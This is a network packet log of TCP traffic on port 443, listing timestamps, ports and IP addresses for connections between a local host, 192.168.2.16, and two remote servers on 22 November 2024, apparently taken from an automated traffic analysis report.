Nov 22, 2024 23:00:50.770330906 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.770397902 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.770440102 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.770503998 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:50.770574093 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.770616055 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:50.770637035 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:50.965189934 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.965220928 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.965339899 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:50.965380907 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:50.965451002 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.048809052 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.048876047 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.048959970 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.048983097 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.049016953 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.049037933 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.145481110 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.145540953 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.145741940 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.145787954 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.145864010 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.179217100 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.179284096 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.179418087 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.179435015 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.179511070 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.179560900 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.204009056 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.204063892 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.204147100 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.204161882 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.204268932 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.226277113 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.226329088 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.226442099 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.226459026 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.226490021 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.226528883 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.276559114 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:51.276653051 CET	443	49793	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:51.276784897 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:51.277070045 CET	49793	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:51.277105093 CET	443	49793	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:51.358810902 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.358876944 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.358958006 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.358980894 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.359015942 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.359044075 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.372159004 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.372209072 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.372463942 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.372486115 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.372675896 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.387582064 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.387634993 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.387679100 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.387693882 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.387725115 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.387749910 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.403140068 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.403198004 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.403249979 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.403264999 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.403296947 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.403340101 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.416498899 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.416547060 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.416606903 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.416620016 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.416666985 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.416685104 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.433084965 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.433134079 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.433197021 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.433209896 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.433238983 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.433259010 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.555557966 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.555643082 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.555704117 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.555718899 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.555798054 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.555818081 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.566030979 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.566087008 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.566184998 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.566207886 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.566273928 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.577822924 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.577851057 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.577991009 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.578016996 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.578083992 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.589720964 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.589745998 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.589854002 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.589875937 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.589956999 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.600159883 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.600212097 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.600286961 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.600301027 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.600334883 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.600389004 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.612761974 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.612840891 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.612878084 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.612890959 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.612921000 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.612967014 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.623079062 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.623136044 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.623209953 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.623224020 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.623256922 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.623297930 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.634829044 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.634884119 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.634934902 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.634948969 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.634985924 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.635013103 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.756628036 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.756697893 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.756771088 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.756833076 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.756869078 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.756892920 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.766350985 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.766408920 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.766463995 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.766482115 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.766515017 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.766535997 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.776206970 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.776252985 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.776314020 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.776329994 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.776357889 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.776403904 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.786185026 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.786237001 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.786304951 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.786319017 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.786367893 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.786402941 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.794692039 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.794738054 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.794789076 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.794812918 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.794850111 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.794893026 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.803883076 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.803926945 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.803983927 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.803998947 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.804027081 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.804063082 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.813910961 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.813956022 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.814024925 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.814039946 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.814075947 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.814116955 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.823641062 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.823683023 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.823755980 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.823765993 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.823820114 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.848989964 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:51.849091053 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:51.849179983 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:51.849487066 CET	49794	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:51.849503040 CET	443	49794	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:51.957662106 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.957715034 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.957803011 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.957815886 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.957861900 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.957889080 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.966000080 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.966043949 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.966095924 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.966104984 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.966161013 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.974421024 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.974464893 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.974518061 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.974526882 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.974564075 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.974606037 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.982979059 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.983063936 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.983112097 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.983120918 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.983153105 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.983191013 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.990328074 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.990371943 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.990413904 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.990422964 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.990454912 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.990479946 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.998228073 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.998270988 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.998383999 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:51.998393059 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:51.998447895 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.006755114 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.006799936 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.006870031 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.006877899 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.006910086 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.006933928 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.015196085 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.015243053 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.015281916 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.015290022 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.015327930 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.015362024 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.097757101 CET	443	49788	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.098295927 CET	49788	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.098336935 CET	443	49788	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.098805904 CET	443	49788	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.101481915 CET	49788	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.101567984 CET	443	49788	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.101645947 CET	49788	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.143359900 CET	443	49788	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.160212994 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.160265923 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.160360098 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.160387039 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.160423994 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.160448074 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.167412996 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.167458057 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.167510986 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.167527914 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.167557955 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.170749903 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.175616026 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.175657988 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.175698996 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.175714016 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.175744057 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.175765038 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.184000969 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.184042931 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.184086084 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.184099913 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.184128046 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.184185982 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.188711882 CET	49788	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.188822031 CET	443	49788	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.188884974 CET	49788	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.191282988 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.191342115 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.191375017 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.191390038 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.191420078 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.191440105 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.195488930 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.195580959 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.195667982 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.197592020 CET	49795	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.197628975 CET	443	49795	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.200169086 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.200217009 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.200265884 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.200279951 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.200336933 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.200336933 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.207376957 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.207420111 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.207468033 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.207482100 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.207531929 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.207531929 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.215601921 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.215707064 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.215754032 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.215766907 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.215796947 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.215817928 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.361228943 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.361253977 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.361341000 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.361365080 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.361434937 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.369286060 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.369302988 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.369389057 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.369405031 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.369467974 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.376530886 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.376548052 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.376698971 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.376713991 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.376779079 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.384833097 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.384849072 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.384932041 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.384947062 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.385010958 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.392987967 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.393003941 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.393085003 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.393115997 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.393188953 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.400887012 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.400902033 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.400996923 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.401010990 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.401083946 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.405158043 CET	443	49789	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.405476093 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.405495882 CET	443	49789	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.406543970 CET	443	49789	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.406621933 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.407032967 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.407109976 CET	443	49789	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.407248974 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.407258034 CET	443	49789	142.250.181.68	192.168.2.16
Nov 22, 2024 23:00:52.409037113 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.409065008 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.409125090 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.409138918 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.409171104 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.409205914 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.416265965 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.416280985 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.416358948 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.416387081 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.416454077 CET	49787	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:00:52.449639082 CET	49789	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:00:52.562160015 CET	443	49787	217.77.14.110	192.168.2.16
Nov 22, 2024 23:00:52.562200069 CET	443	49787	217.77.14.110	192.168.2.16
